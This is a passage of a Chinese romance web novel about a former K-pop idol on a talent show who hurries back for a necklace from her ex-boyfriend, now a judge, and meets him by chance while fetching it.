祝理想，也祝自由。 她既然要走，要去做一只飞鸟。 他就不可能把她锁在身边一辈子。 这世界两全其美的事情并不多，不可能真有人贪心到能名利爱情双收。 现在的他只单纯希望她过得好，即使未来她不会和他在一起，他也会拼尽全力帮她。 好风凭借力，送她上青云。 19. 天鹅项链 在祁致离开后。 沈亦凝关上门拉上窗帘，并把脖子处的天鹅项链取下，防止项链可能在练舞的过程中缠绕或断裂，导致自己受伤。 而后便开始了沉浸式训练。 实话实说她已经很久没有像现在这样，在练舞室一呆就是一整个通宵了，练出了一身汗，不过倒是酣畅淋漓。 声乐室里唯一不足的地方就是不像练舞房那样有全身镜，没办法在镜子里看到自己跳舞时是什么样子。 只不过问题不大。 一个通宵的时间，沈亦凝已经成功记住了歌词和舞蹈动作。在今天考核的时候，拿个及格线应该没有什么问题，但是A班B班的绝对是痴心妄想了，就算拿个C估计都挺悬。 她只能保证自己不被分去F班。 节目组故意整她，其它练习生有近一个月训练时间，而她就只有一天，她能做到这个程度已经是尽力了。 她永远安慰自己，尽力就好。 《破茧出道营》这个综艺正式开启直播是在八点半，实际上七点就要集合化妆，八点钟全员必须到达考核大厅等待拍摄。 甚至全体导师和部分练习生还有前采，去的时间要更早。 前采，指录制节目之前，对参加节目的嘉宾进行采访。采访镜头可能还会剪进正片里，无形之中就比其它人多了一些曝光。 稍微有点儿名气的人，都已经在前一天的晚上被节目组通知宣传大楼录制前采了。 参与前采的人无非是总制作人和那几个导师，以及百名练习生中没参加节目之前就已经拥有话题度和关注度的那几位。 百名练习生中自带热度的人并不多。 除了沈亦凝之外，还有几个以温氏集团小千金温南乔为首的富二代，以及闻幼晴、童夏月等星二代，再加上几个本来已经出道过，后来女团因为各种原因解散了，和沈亦凝差不多情况的“回锅肉”翻新的小明星，就像任薇时和乐书竹。 其实细算也就十几个人，剩下的自然就都是一些默默无闻的娱乐公司签约艺人和素人了。 其中讨论度最高的还是沈亦凝。 她以前在韩娱火不代表在内娱有名气，一开始只在黑粉和粉丝眼里有知名度，最近热度高导致部分路人都知道她，主要还是因为蹭上了祁致的流量。 沈亦凝自然也是被通知去宣传大楼进行前采的练习生之一。 这种增加曝光的机会，是其它练习生羡慕不来的。 沈亦凝早就料到了自己会被通知去宣传大楼，毕竟她身上有热度，节目组怎么可能放弃吸引流量这个机会。 但是她并不需要这个“特殊待遇”，因为节目组肯定不打算做人，会疯狂恶剪她的前采镜头。 但她没有说不的权利。 于是乎为了防止录制前采的时候掉进节目组设置好的陷阱里，沈亦凝在声乐室练舞休息的间隙，掏出了纸笔，绞尽脑汁思考节目组会在前采的时候问什么刁钻的问题。 她合理猜测，他们可能问她来这个节目的原因，问到她以前的团队，以及问到祁致。 她背后没有任何靠山，节目组采访时肯定不会顾及会不会冒犯她，总之尽可能的刁钻和吸引观众眼球去折磨她。 应对这些东西就得有万全之策，问到其它问题倒还好回答，唯独有关于祁致的问题，让她必须谨慎一点。 毕竟只要回答错一点地方，那她就完蛋了。 她模拟了无数节目组会问她的问题，而后一一给出了应对答案，一张空白纸被她写得密密麻麻，其中“祁致”这个名字占据了极大篇幅。 确认节目组不会这么容易坑到她之后，她很满意地把纸折好，并把项链压在纸上。 她想着待离开时再把它们带走。 *** 早上六点钟，朝阳穿过薄薄的百叶窗窗户闯进来，隐约还能听到门外蝉鸣的声音。 沈亦凝结束训练，稍作整理了一下便离开这儿。给声乐室落锁、摘下耳机、跑下楼，回宿舍的路上简单洗漱。 练习生宿舍只有公用洗漱间，每个洗漱间有块单独的隔板。 因为昨天晚上熬了一个通宵，沈亦凝精神气不足，再加上脸有点儿浮肿，上镜肯定不太好看，于是她倒了盆热水，用毛巾沾了热水敷脸，给自己的脸消消肿。 热毛巾盖上脸的时候，整个人得到可一种前所未有的放松，她昨天坐了一天飞机，又坐大巴一路奔波来到这里，晚上还马不停蹄又直接练舞练了一个通宵。 整个人到目前为止就没有休息过，待会儿洗漱完还得去宣传大楼录制前采，接着就是直播。 休息的时间都没有。 这时间如此紧迫的安排，就算是机器人也要累散架了。 沈亦凝觉得自己现在已经累到站着都能够睡着。 甚至她都已经控制不住有点儿怀疑自己，她为了几场舞台而选择来这个节目究竟是对的还是错的，迎着网上铺天盖地的恶意，说不定对自己的事业没有任何加持。 她也有点儿迷茫，生怕自己下了节目之后，风评会越来越差，到那个时候，她还有机会重新登上舞台吗？ 她想不清楚，现在的脑子就像是生锈的机器，多思考一会儿估计会冒烟。只是有点儿贪恋这短暂的休息时间，闭眼小憩。 此时碰巧有几个女生端着盆和毛巾走过来洗漱。 那几个女孩子已经换上了今天考核要求同一着装——整体是灰白色调的衣服，上衣白色内搭与灰色外套，袖口和肩部有流苏和荷叶边，下身是高腰短裙。 这套衣服属于比较中规中矩的设计，不过还算契合青春活力的主题曲。 几个女孩抱着盆走过来，首先埋怨吐槽了一下衣服。 “考核同一要求跳同一首歌已经很离谱了，结果还要穿一样的衣服。” “节目组为了首次考核公平，也能理解吧。但是毕竟第一次上镜唉，穿私服肯定更漂亮一点。” “我看上一季首次考核都不是这样的，据说可以自由发挥，每个练习生准备的舞台都不一样，可以尽可能的把自己特长展现出来，衣服也可以穿很漂亮。” “但是那样的话，本来有实力的就肯定会在首次舞台疯狂炫技，肯定就被分去A班呐，就像那个谁一样。” 说到这里，女生们沉默了，因为她们的心里几乎同一时间浮现出一个名字——沈亦凝。 沈亦凝盖在脸上的热毛巾已经慢慢变凉，她本来要拿下来，却不出意外在下一秒听到了自己的名字。 “对啊，就像沈亦凝。” “据说她曾经是‘SunriseTribe’的队长和center，超有实力的，不知道为什么放弃之前的荣誉，要回到内娱参加选秀节目当回锅肉。” “可能觉得在韩娱爱豆太难当了吧，回内娱想转型，结果发现还是当爱豆更适合自己。” “……” 沈亦凝微皱眉。 现在大家没有电子产品打发时间，练习生们在私底下偶尔嚼嚼舌根，谈论一下有关于她的八卦，这实在是太过正常的一件事情了。 只不过这两年她在内娱的资源可谓是虐到惨绝人寰，让她觉得自己都快糊穿地心了，从来没有想到过自己的关注度居然还能这么高。 随便来卫生间洗个脸都能够听到背地里议论自己的。 沈亦凝作为八卦中心的当事人，自然有些不太舒服。 也许是最近在网上听过太多太多骂她的声音了，于是她已经开始有点儿应激——一听到有人提到她，她就下意识觉得对方估计又要开始跟风骂她。 沈亦凝有些无奈，心里甚至开始恶作剧地想：如果她现在十分淡定地把脸上的热毛巾取下来，那她们会不会被她们吓一跳？ 她心里已经有几个提剑小人在怒吼道：来啊，背后嚼舌根的坏蛋，有本事出来打一架！ 但下一秒，却听到在身旁人继续说。 “但我觉得还是上一季比较合理，这一季的首次评级规定很离谱，一模一样的舞台很难看出实力差距吧，观众也会审美疲劳啊。” “对啊，感觉节目组有病。有实力的在首舞台随便炫技拿A根本没问题，起码我不眼红，只要不是没实力还被内定出道的就好。” “沈亦凝真被内定了？” “不清楚，但是她毕竟曾经是女团center，节目组就算捧她也正常啊，你们看过沈亦凝之前的舞台吗？超燃的。” “我考古过！曾经她在团的时候我还看过演唱会，而现在她居然跟我们一样都是练习生，想想真是神奇。” “牛逼，那个时候她们团员在内娱没什么名气吧，只在海外火，你们那个时候就听过她了？” “混kpop的前几年应该都知道她吧，只不过她退团之后风评就特别不好，也许人品不太行。” “你们还真信营销号啊？也许她没网上说的那么坏呢，而且翻来覆去就那几点黑料，甚至算不上黑料。” “对啊，某些男明星干的事情比这个严重多了，依旧很多小迷妹呢，为什么光对女生这么苛刻。” “网上的人听风就是雨，有些东西听听得了，反正我肉眼看到的是她漂亮又勤快，我昨天看到她了，超美，而且听024宿舍的人说她昨天晚上去训练大楼了，一个晚上没回来，超拼命的。” “……” 几个女孩洗漱完，离开了洗漱间。 聊天的主题也从沈亦凝身上聊到了导师和梦想。 待她们走远之后，沈亦凝才摘下脸上的热毛巾。 她眨了眨眼，发现眼睛有点儿干涩和湿润，鼻子也有些发酸，她伸手胡乱抹了一把脸时，只摸到了一片咸湿。 心里提剑的小人们跃跃欲试，结果发现朝着自己奔跑过来的并不是敌人。他们面面相觑道：那还打不打？ 剑被一脚踢飞。 还打个屁，丫的那是友军！ 这些年她围观了太多次网友对她的围剿，但没想过原来还是有人不讨厌她的，甚至她们也许还挺欣赏她。 一句“她也许没有网上说的那么坏”，像过境的东风，吹散阴霾，所到之处一片生机，蓬勃生长。 在她已经被公司和节目组折磨得千疮百孔、疲惫不堪的心脏处注射了一束春光，也让她身上的困倦消失了大半。 沈亦凝拍拍脸，对着洗漱台镜子里的自己挤出来一个笑容，简单收拾好东西，重新斗志昂扬地打起精神，抓紧时间赶去宣传大楼进行采访。 毕竟生活好像也没有很糟糕。 对吧？ *** 练习生宿舍前往宣传大楼的路上，会路过一家24小时便利店，沈亦凝在里面顺手买了一个三明治和柠檬气泡水裹腹。 往常她严格控糖，绝对不会碰气泡水这种饮料。 但现在的她真的很需要这个。 柠檬气泡水够酸够辣，拧开瓶盖喝一口下去，能够听到口腔里清晰的气泡爆裂声。 猛烈的气泡能刺激她的味蕾，让她快点儿清醒起来。 时间还早，她捧着三明治，咬着气泡水的吸管，慢慢走向宣传大楼。 此时远天像冷却的琉璃，晶莹剔透。 清晨的风凉飕飕的，吹在脸上很舒服，熬了一整个通宵的脑袋像是填满浆糊，此时被晨风吹着清醒了不少。 右拐，经过几座拥有着爬山虎红墙的大楼，再左拐穿过一条鹅卵石小路到达宣传大楼。几个工人站在长梯上，正在挂一张巨型的彩色海报。 已经挂好了很多张海报，分别是： 总制作人代表，是个顶级爱豆，现下内娱最火男团“Vortex”队长凌杭。 舞蹈导师宋晚照。 说唱导师贺彦。 正在挂的海报，是音乐导师，祁致的海报。 巨型海报上的男人眉目舒展，眸若星辰，唯一不足的是嘴角淡扯着，眼底看不出一点儿笑意，明明只是个平面海报，但是却能够看得出来他心情好像十分不开心。 这个海报拍摄的时间其实已经有点儿年头了，海报上他的神情有些略微的僵硬，而且模样还尚且青涩，比现在的他少了点儿成熟，多了几分少年气。 沈亦凝咬着吸管的动作停住，脚步也控制不住放缓，抬起头盯着那张巨型海报看。 这些年祁致火遍大江南北，他刚爆火那一年，走在路上都能够听得到路边的小店铺在播放他的歌。 而有关于他的海报和广告代言这几年几乎无处不在，地铁口、百货大楼、超市甚至是国外的街道全都有他的身影。 那时候沈亦凝在路边随时随地见到他的海报和广告，甚至走在路上还遇见过黄牛给她发广告单，笑着问她，“演唱会门票要不要？” 传单上边印着他的演唱会宣传广告。 这些年他开演唱会从北京开到重庆，从北开到南。 有时拍戏的时候也会有同组的小演员在交流分享她们最近抢到了祁致的演唱会门票，他的演唱会一票难求，即使只是一个不怎么好的边角料位置，票价就已经炒到惊人的三千块。 沈亦凝听了只不动声色地离开，回想起自己压在箱底的某张演唱会门票估计已经落了灰。 还是祁致本人把票递给她的。 只不过当时的她还不懂得珍惜。 一开始沈亦凝还接受不了祁致这些无孔不入的广告，像幽灵一样徘徊在她周围，赶也赶不走。 后来也逐渐习惯了这些广告的存在，起码能够心平气和地看一眼，而后云淡风轻地离开。 之所以现在看到宣传大楼前的巨型海报的时候，她会不受控制地停下脚步，纯粹是因为，这张海报拍摄的时间已经太过久远。 久远到甚至应该回溯到很多年前。 其他人可能认不出来这张海报拍摄在什么时候，但她知道，且一清二楚。 那会儿祁致所在的乐队“日落线”已经成立三周年，并且成功签下了一家小小的唱片公司。 那个时候，他们还很相爱。 那个时候沈亦凝还没出道。 她还以为祁致只是家境一般的普通人，会因为他的乐队签下一家小型唱片公司时替他开心了很久。 那天沈亦凝买了蛋糕和蜡烛，替他许愿，“祁致，恭喜你成功签约唱片公司，我祝你以后火遍大江南北，大街小巷里都能够听到你的歌。” 说完之后，她缠着他问他许了什么愿望。 他认真说，“我希望你能来听我的演唱会。” 她点点头，笑着说，“好啊。” 只不过很可惜的是，“日落线”举行第一次正式小型演唱会的那天，撞上沈亦凝第六次练习生线下公演。 公演的规模并不大，是类似于公司内部新人展示会，通过直播或线下活动向公众展示练习生实力。 意义不大，仅能增加一些曝光。但是她不愿意浪费每一次出现在公众视野里的机会。 于是几乎是意料之中的事情，那天她失约了。 一人向西驰，一人策骑往东。 他去北京开演唱会，她留在首尔参加公演比赛，日程撞上了，没能赴约也是不得已而为之。 后来祁致的队友吉皋偷偷跟她说，“知道你不能来看乐队演唱会的时候他很不开心，拍海报的时候都笑不出来。” 祁致总说她不爱表达，但是他有时候也一样，对自己的不开心缄口不语。 只是两个人不太一样的是，她会把难过化为利剑刺向最亲密的人以掩盖自己真正的想法，而他只会把难过咬碎，把含血的玻璃渣吞进肚子里。 以至于后来她才知道，她没去他演唱会的时候，他很难过，毕竟那是他人生中真正意义上的第一次演唱会。 但对他最重要的人却缺席了。 同样她也并不知道，那天晚上祁致在结束演唱会之后，甚至连喝一口水都没有来得及，下了舞台之后便马不停蹄地赶上了机场，登上了从北京回首尔的飞机。 只为了能够赶上她的 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她和他说，“下次绝对会去看你的演唱会，弥补这一次。” 他揉了揉她的脑袋，笑着说“好”。 只不过后来两个人越来越忙。 直到后来他们彻底分手，她也没机会去他的演唱会现场。分手之后乐队解散，他开过很多场个人演唱会，但是毕竟已经是前男友，她也没有再去捧场的必要了。 而此时挂在宣传大楼的这张巨型海报就是那个时期拍的。 她不清楚这么多年前拍摄的海报为何会在这个时候被翻出来，此时就挂在宣传大楼上。 如此毫无预兆地出现在她面前。 但就是这张并不算完美的海报。 承载了当年两人尚且青涩的感情。 *** 沈亦凝收回落在海报上的视线，踏进了宣传大楼，正在等待电梯下行时，余光瞥见拐角处走过来一个人。 只用余光瞥见一眼，甚至没有看清那人今天穿了什么衣服，她也能够确认究竟是谁。 在这里遇见他并不意外。 毕竟他也是要录制前采的人之一。 祁致朝着她所在的方向走过来，不出意外的话应该要经过她身边，毕竟这儿是走出宣传楼大门的必经之路。 沈亦凝不免有点心乱，可能是因为门口的海报，也可能是因为别的什么东西。 总之心就是乱了。 她目不转睛地紧紧盯着电梯旁墙上的红色按键，看着上边的数字缓慢地从“5”变到“4”再变到“3”。 心里默默祈祷着能够在他经过她身边之前，自己能够顺利地登上电梯。 但这个世界上总是经常事与愿违。 红色数字从“3”跳到“2”，那股熟悉的雪松香萦绕在鼻尖，逐渐逼近。 他从她身边擦身而来，她垂着头吸了一口柠檬气泡水。 气泡噼里啪啦地在口腔里开会。 红色数字终于跳到“1”，而他此时毫无预兆地、小幅度地伸出了手，像是给予她某种暗号。 他全程没说话，也没看她。 但沈亦凝就是明白了他的意思。 多年前养成的默契，不用说话，只需要一个眼神或者动作，就能够知道对方到底在想些什么。 她从兜里掏出钥匙，没有回头，动作已经极快地把钥匙放在了他的手心。 接递东西的动作十分熟练。 仿佛这种小动作已经在两个人之间发生过了很多很多次。 指尖和掌心短暂相触的一秒钟，口腔里的气泡爆裂声忽地停歇，汇集在心脏处狂欢起来。 沈亦凝指尖轻蜷，记起当初他们刚确认关系的时候，她试探性地想牵他的手，却被他反手包裹住整个手掌，而后得寸进尺的插进她的指缝，直到十指相扣。 她的脑海里在此时不合时宜地重现祁致很多年前对她说的那句“那天我很想你”。 她心里有种控制不住的欲望——她居然妄想现在他能够主动开口跟她说句话。 哪怕几个字都行。 她十分清楚自己现在的这个想法十分危险，就像可乐遇上曼妥思，危险随时喷涌而出。 只是此时“叮”地一声，电梯门开了。 祁致把钥匙揣进兜里，头也不回地从她身边擦身而过时，刮起了一道不大不小的风，全程一语不发地离开。 他没搭理她。 吸管被沈亦凝用力咬瘪，她控制住自己没回头看他，头也不回地直接踏进了电梯。 电梯门关上的瞬间，她终于控制不住极快地回头看了一眼。 她看到他已经踏出了宣传楼的大门，宽瘦的背影逐渐消失在视线里。 沈亦凝突然有点很难过，她泄愤似的又吸了一口柠檬气泡水，却发现气泡水已经被她喝完了。 只剩下心脏处的气泡仍旧在沸腾，噼里啪啦、经久不歇。 某种情绪就像春日矮墙的绿蔓，肆无忌惮地弥漫泛滥开来，不受控制地遍布了整个心房。 是遗憾、是难过、还是喜欢？ 也许全都有。 分开时，沈亦凝想，这个世界上有那么多人，她也并不是非他不可。 可现在她终于不得不承认。 其实在分开的这些年，她还是有在控制不住地想起他。 甚至还喜欢他。 否则她不会已经跟他分手这么多年了，还保留着他当初告白时送的黑天鹅项链。 但她不会说，更不可能轻易表现出来。 因为狐狸要想捕捉到猎物，就不会轻易露出狐狸尾巴。她要护好自己的前途，就不能轻易暴露自己的喜欢。 沈亦凝看着反光镜子中的自己愣怔片刻，而后缓缓回神摁下了数字“6”。 电梯缓缓上行的短暂几秒钟。 沈亦凝突然想起自己之前偶然看过的一场辩论赛，只是因为大数据推给她的手机，而她又恰好无聊把它看完了。 那场辩论赛的主题是《前途与爱情哪个更重要》。 正方辩友主张前途更重要，她记得很清楚，其中一句辩词是，“倘若我为了前途及时止损放弃了我爱的那个人，当波士顿的落叶掉落在我的肩头时，我会遗憾，甚至重新遇见他时，我承认自己的心脏依旧控制不住地再为他跳动，但我会藏好，不会让它影响我的前途，因为我爱我身体里的块块锈斑胜过爱他。” 电梯门重新打开，心跳从快速震动回到正常频率，心脏处激烈交响的气泡声终于停歇了。 那场辩论赛正方获胜，而同样的，她也给出了自己的答案。 ——她会遗憾，甚至还会动心，但她会努力藏好。 毕竟隐藏自己的爱意一直以来都是她的强项。 一开始公司对沈亦凝处于放养态度，到后来她未出道就因为几场公演小有名气时才被注意到。 在公司隐约注意到她谈恋爱时，从一开始的放任不管到后边多次威逼利诱她必须分手。 只是她都硬扛压力没有同意。 沈亦凝再三保证说，“我不会让别人发现的。” 负责全体练习生的经纪人金秀希冷笑说，“那你就给我藏好了。” 她的确说到做到，那时候的她严防死守，为了前途没有露出一点儿破绽。 以前瞒着其他人偷偷和祁致谈恋爱。 现在瞒着包括祁致在内的所有人，让他们以为自己早已经放下。 沈亦凝走出电梯，下意识伸手摸了一下脖子，却没摸到项链。 心道不妙，再伸手去摸了一下自己的兜，发现里头空空如也。 她的脸色顿时变得煞白。 遭了，“狐狸尾巴”被她落在了声乐室。 她的秘密要被发现了。沈亦凝心如死灰地想。 20. 贪恋此刻 在知道项链丢了的这个瞬间，沈亦凝心脏上方像悬着一颗大石头，摇摇欲坠。 辛德瑞拉弄丢了水晶鞋，而沈亦凝遗失了项链。 因为水晶鞋，辛德瑞拉和王子产生了交集，但沈亦凝却不想因为项链再和祁致扯上什么关系。 更不愿意因为这条项链引发不必要的其它事端。 但现在总不可能直接转身跑回训练大楼，因为还得参加前采，也不知道录完前采之后，时间还够不够她跑回去寻找项链。 完蛋了，她想。 沈亦凝现在的状态就好像是在梦游。 准确点儿来说，更像是一只提线木偶，只有躯体在动，而灵魂早就不知道飘向何方。 提线木偶双眼空洞地晃出电梯，再晃进采访室。 脚步都有些控制不住地悬浮。 对面坐着工作人员，他们脸上带着礼貌的笑容，但是沈亦凝却十分清楚，他们是表里不一的恶魔。 聚光灯照在她的脸上，镜头聚焦着她。 前采录制开始了。 恶魔们毫不掩饰地露出獠牙：“准备好了吗？” 提线木偶心不在焉道，“嗯。” 其实她压根不在状态。 工作人员开始放大招，每个问题都问得十分刁钻。 明明沈亦凝昨天晚上已经提前做了攻略，但是现在登场之后却发现用不上。 就像是每次大考之前认真复习，结果上了考场才突然发现，题型变了，所有的必胜攻略也已经全部派不上用场，且大脑变得空空如也。 即使是学神也会遇到不会的题目。 这场考试她注定是考不好了。 因为紧张，再加上心里在想着项链的事情，沈亦凝对工作人员的这种刻意艰难压根没有任何办法，全程都只是十分机械性回答问题。 前采表现得一塌糊涂，终于在工作人员不怀好意的表情里结束了录制，沈亦凝这只提线木偶又心事重重地晃出了采访室。 接触到外边的新鲜空气，她才缓缓地回过神来，不再是提线木偶，却变成了接受指令的机器人。 她现在满脑子只剩下一个想法，躯体也只被同一条指令所控制，那就是——抓紧时间，跑去训练大楼，找回项链。 沈亦凝抬手看了眼手表。 时间应该还来得及。 她走出录制室之后，便开始了狂奔，跑进电梯间，再迅速穿过宣传大楼大厅，直接冲出门口。 路上遇到几个刚结束前采的练习生，看到像风一样飞过去的沈亦凝，面面相觑，也下意识跟着跑了一段路，嘴里念叨着，“现在已经开始录制了？怎么这么着急！” 练习生们边跑便看表，确认时间还充足，慢慢走过去参与录制也都还来得及，所以她究竟在跑什么？ 不得而知。 而她们也并不知道，沈亦凝的心里此时此刻有个小人正在狂呼：辛德瑞拉啊！请你跑快点，一定要守住水晶鞋的秘密！！ 然而在奔向项链的路上，撞上了刚挂好所有海报准备收工，正抬着工具走向宣传大楼的工人。 两拨人在一个视线拐角处相撞，虽然都紧急避让了一下，但是工具的角还是不可避免地擦过沈亦凝的手臂。 擦伤也就是一瞬间的事情。 沈亦凝的左手手臂处火辣辣地疼，低头一看伤口，肿了一块，有地方还破皮流血了，甚至比起几天前在机场的时候受伤的十倍还要更加严重。 “……” 她今天绝对是衰神附体了吧？ 工人们看到她身上穿的衣服，认出她是训练生，又瞥见她手臂上的伤口，下意识倒吸一口凉气，疯狂道歉，“真是不好意思，对不起啊，我们……” 拐角是个视线盲区，谁知道会突然出现一个人。 更何况真要细究起来，这场意外纯粹是因为刚才她超速了。 沈亦凝捂了一下手臂，“没事的没事的，是我没注意。” “有点破皮流血了，要不要处理一下……唉，姑娘，你怎么跑了？” 意外受了伤，但是她顾及不了这么多，直接转身拔腿就跑。 伤口是有些青紫和流血。 但是也真的没有这么严重。 如果今天没有项链这件事情的话，估计沈亦凝会选择用碘伏清理一下伤口，但是现在没必要，也没这个时间。 伤口总会愈合的。 但是项链这事儿不能拖延。 她肯定是要在祁致看到之前把项链给找回来的，否则她该如何解释当初已经被她狠心丢下人工湖的项链，现在还在她身上，且这么多年她还贴身戴着？ 无论祁致究竟有没有放下过去两人的那段感情，她都不愿意让祁致知道这件事情。 又或者说，连她自己都不愿意去承认和面对这个事实——这么多年了，她还放不下他。 当年是她先毅然决然地选择了分手。 先选择放手的人没有资格后悔怀念。 更重要的是，都已经过去这么多年了，还怀念过去，本来就是一件离谱的事情。 若是对方早就已经放下了这段青涩的感情，唯独她这个先提出分开的人还总在默默怀念过去，偏偏仍嘴硬不承认，还被发现，那这简直就更丢脸了。 这也是沈亦凝着急跑回去寻找项链的原因。 毕竟面、子、大、于、天！ *** 沈亦凝拼命狂奔，原先需要十分钟的路程，现在她只用一半时间便走到了目的地。 好在此时的训练大楼里现在没什么人，冷冷清清。 毕竟《破茧出道营》是一款唱跳舞台竞技类节目，主要镜头聚焦的地方是在舞台上表演的时候。 没有多少人在意人后有多努力，观众并不在乎过程，只在乎表演的最终结果。 于是训练大楼里并没有多少摄像头，也极少有工作人员出没，至于练习生们……她们都赶往直播录制场地了，谁会没事儿来这？ 也就只有沈亦凝会在这个时间点跑来这里了。 沈亦凝一鼓作气直接跑上六楼，边跑边吐槽，这么大个节目组这么大个公司，居然连个电梯都不舍得安装。这也太抠门了吧？ 好不容易跑上六楼，她双手撑膝大口大口地喘气，缓了一会儿才慢慢往声乐室走过去。 好在早上吃了一个三明治，否则她觉得自己可能会原地晕倒。 毕竟这运动量实在是太大了，更别说前一天晚上她还熬了一整个通宵。 沈亦凝快步走到声乐室，发现门没开。 她动手使劲拉了一下窗户。 开了。 心头的大石头松动了一瞬。 沈亦凝探头探脑往里边瞧，就像是一个偷偷摸摸的小贼。 她目光迅速搜索，像雷达一般。找寻了好一会儿，终于锁定桌角旁的那根银色项链。 项链在同个位置，在暗处泛着冷光。 而那张纸条还压在项链下边。 没人动过。 项链还在，秘密也还在。 桌子距离窗台有点儿远，也不知道伸手能不能够得到，窗户没有安装防盗网，沈亦凝犹豫了一会儿，还是没选择爬窗进去。 她只是单纯想拿回自己的东西罢了，若是爬窗进去，估计就真成小贼了。 沈亦凝把袖子撸上去，摩拳擦掌，侧侧半个身子进窗户，用力伸手去够，还差一点，再差一点，最后再差一点…… 她顿时有些着急。 时间在极速流逝，她不可能把所有时间耗在这里，毕竟还得抓紧时间去录制，如果十分钟拿不到项链，那她也必须离开这儿赶往录制场地。 今天是直播。 她耽搁不了一点的。 但此时拿到项链的难度堪比拼多多砍一刀。 明明近在咫尺，却又遥不可及。 在沈亦凝的脑海里浮现出“要不还是爬窗”吧的可怕念头时，一抹干净的雪松香伴随着清晰的脚步声逐渐靠近她。 认出一个人，可以通过声音、相貌、气味。 也可以是单纯依靠脚步声。 每个人的脚步声是不一样的。 沈亦凝不用回头，也能听出脚步声究竟来自何人，就像读书时对班主任脚步声的敏锐，她对祁致的脚步声也十分熟悉。 祁致的脚步声像倒计时的秒针，像是强迫症一般，稳健且很有规律，一步一步地踩着她的心跳声而来。 她背对着脚步声的主人，心脏处的那颗大石头极速悬停，变成了一颗随时会爆炸的定时炸弹。 祁致站在她身后，目睹了她此时滑稽的姿势，有些疑惑地开口问了一句，“你在干什么？” 他的音色极其容易辨认，像春雪初融时渗入青石板的细流，但此时于沈亦凝而言，却无异于是恶魔在低吼。 定时炸弹“叮”地一声，开始了爆炸倒计时。 沈亦凝无语地闭眼两秒，为自己默哀。 世界之大，不应该如此巧合。 她怎么来拿个项链都能够碰上当事人。 老天爷，你是故意整我的吧？ 下次出门也许她要查黄历，像现在这个情况，估计就属于“大凶，忌出行”，纯粹属于下下签。 沈亦凝没有回头，只是保持在窗台处，半个人快要钻进里头的姿势，更用力地去够那条项链。 这个姿势绝对算不上优雅，甚至可能还有点儿滑稽，像一只红鼻子小丑，整个人的身体歪歪扭扭、形象全无。 但是她现在实在是顾及不了这么多。 是在此时当一只行为滑稽的小丑，还是等秘密被曝光时当一只"ClownEmperor”或者是“JokerKing”？ 她自然选择前者，宁愿让祁致觉得她是个行为猥琐的人，也不愿意把项链的秘密让他知道。 此时沈亦凝脑海里脑补了一个小剧场： 「祁致比她先行一步拿到项链，他蓦然把手掌悬在她头顶上方，手指松开，掌心向下。 项链勾在他的中指，悬下来，在她面前晃来晃去，接着是他似笑非笑地表情： “你在找它吗？我怎么记得你当初把它丢进了湖里。” “分开这么多年，你还留着它，难不成还喜欢我？” “原来你还对我念念不忘啊？” 他嘲讽一笑，转身把项链丢掉，说了一句和她当初一模一样的台词：“但我现在早就已经不喜欢你了。”」 脑补剧场到此为止。 沈亦凝汗毛竖立。 光是脑补都足以让人悬梁自尽的程度。 老娘的确对你余情未了，但是你没有资格知道！ 还有“手到用时方恨短”，死手，你能不能争气一点儿，快点拿到项链啊！ 沈亦凝一直背对着他，在伸手够什么东西，他主动问她什么却被视而不见。 祁致无奈地低叹一声。 当初被分手的人好像是他吧，再重逢时他都还没有冷脸，她却先摆出了一副要跟他老死不相往来的架势。 祁致掏出钥匙，上前两步，脚步停在门口，“你要拿东西？我给你开门。” “别开门！”沈亦凝猛地回头，神色紧张地看了他一眼。 像是有魔力似的，祁致手里钥匙悬停在半空。 他保持着那个动作，疑惑地偏头看向她。 楼下香樟树的夏蝉在嘶鸣，骤起的风吹过来时，两人各怀心思。 沈亦凝的心里一直在记挂着里头的项链，而他的眼神晦暗，视线从她的脸上下移，落在了她的手臂上。 一秒、两秒、三秒…… 祁致的视线就这么停在她的伤口处，像黏住了一样。她却没发现，还在用力去够。 终于在快要崩溃的边缘，成功的摸到了项链。 沈亦凝松了一口气。 定时炸弹的危机接触，辛德瑞拉的秘密被守住了。 沈亦凝握成拳，略带着凉意的项链被她紧握在了手心里，她直起身，抬手把凌乱的发丝拢在而后，顺带扯了扯衣服，把褶皱扯平，露出一个得体没有破绽的微笑，“真巧啊。” 她抬起脚步，故作镇定地朝他走过来两步，留下一句“我东西拿到了，再见”，而后目不斜视地从他身边走过。 擦身而过的瞬间，沈亦凝拳头握紧，掌心都似乎沁出了汗水。在她即将侧身离开的下一秒，却没想到祁致侧过身体，直接堵住了她离开的路。 耳畔回响着左心房传来异常澎湃的心跳声。 让她分不清楚是吊桥效应导致的心跳加速，还是由于祁致的突然靠近。熟悉浅淡的雪松香将她整个人包围，她下意识解释，只是嗓子突然变得有些哑：“我拿的是自己的东西……” 他关心的却并不是这个，只是侧过身体，打断她，“手给我。” “什么？”她没反应过来。 祁致蓦然伸手，扣住了她的手腕，小心翼翼地翻过来，把伤口直接暴露出来，他紧盯着，像是在用目光一寸又一寸地抚摸她的骨骼。 他沉默了两秒问，“你的伤口怎么回事？” 祁致的手指很冰，握着她手腕的触感十分清晰，她能够十分清楚地感受到。于是控制不住心间一颤，愣了一下，而后抬头看着他。 对上他漆黑明亮的眼睛时，她在深邃的眼里看到了自己。 这让她产生了莫大的虚幻感，仿佛置身梦境，又像是重新回到了几年前首尔狭小的出租屋，曾经的日子像走马灯一样重现在脑海里。 他也曾像现在这样，用担心的语气和眼神，关心她的伤势。 可是那已经是以前，现在他为什么要这样做？ 明明刚才在宣传大楼时，直接从她身边走过没有一点儿停留，现在却直接凑上来，不由分说地扯住她的手。 她不明白他的用意。 他到底什么意思？ 沈亦凝感觉自己的心里有一只不听话的野兽在四处乱撞。 祁致也并没想过自己竟然会如此不理智，来时他就想过远远看着她就好，助她且祝她在舞台上发光，而后独自退场离开。 不要靠近她也别让她觉得困扰和麻烦。 越在意，越克制。 但事实上，他明明已经在努力克制，却依旧压根没办法装作对她视而不见，甚至总控制不住自己硬凑上去。 想陪在她身边，想关心她。 想告诉她，照顾好自己，还有……他这些年其实很想她。 就像现在，他控制不住自己做了个十分出格的举动，竟然直接拉住了她的手。 他觉得自己真是要疯了。 如果非要对他这个行为做出一个合理的解释，大概是因为沈亦凝于他而言，就像是尼古丁。只要靠近她就忍不住分泌多巴胺，这是一种让人充满愉悦感且上瘾的物质。 她会让他上瘾，这毋庸置疑。 成瘾戒断反人性且痛苦，他十分享受靠近她时的愉悦过程。 上瘾这种事就像人明知抓挠伤口会阻挠它的愈合，但是碰到伤口发痒发痛时，很难有人能够抵抗住不去抓挠它。 明知道不对，明知道不能，但是还是控制不住去做，这就已经是上瘾的状态了。 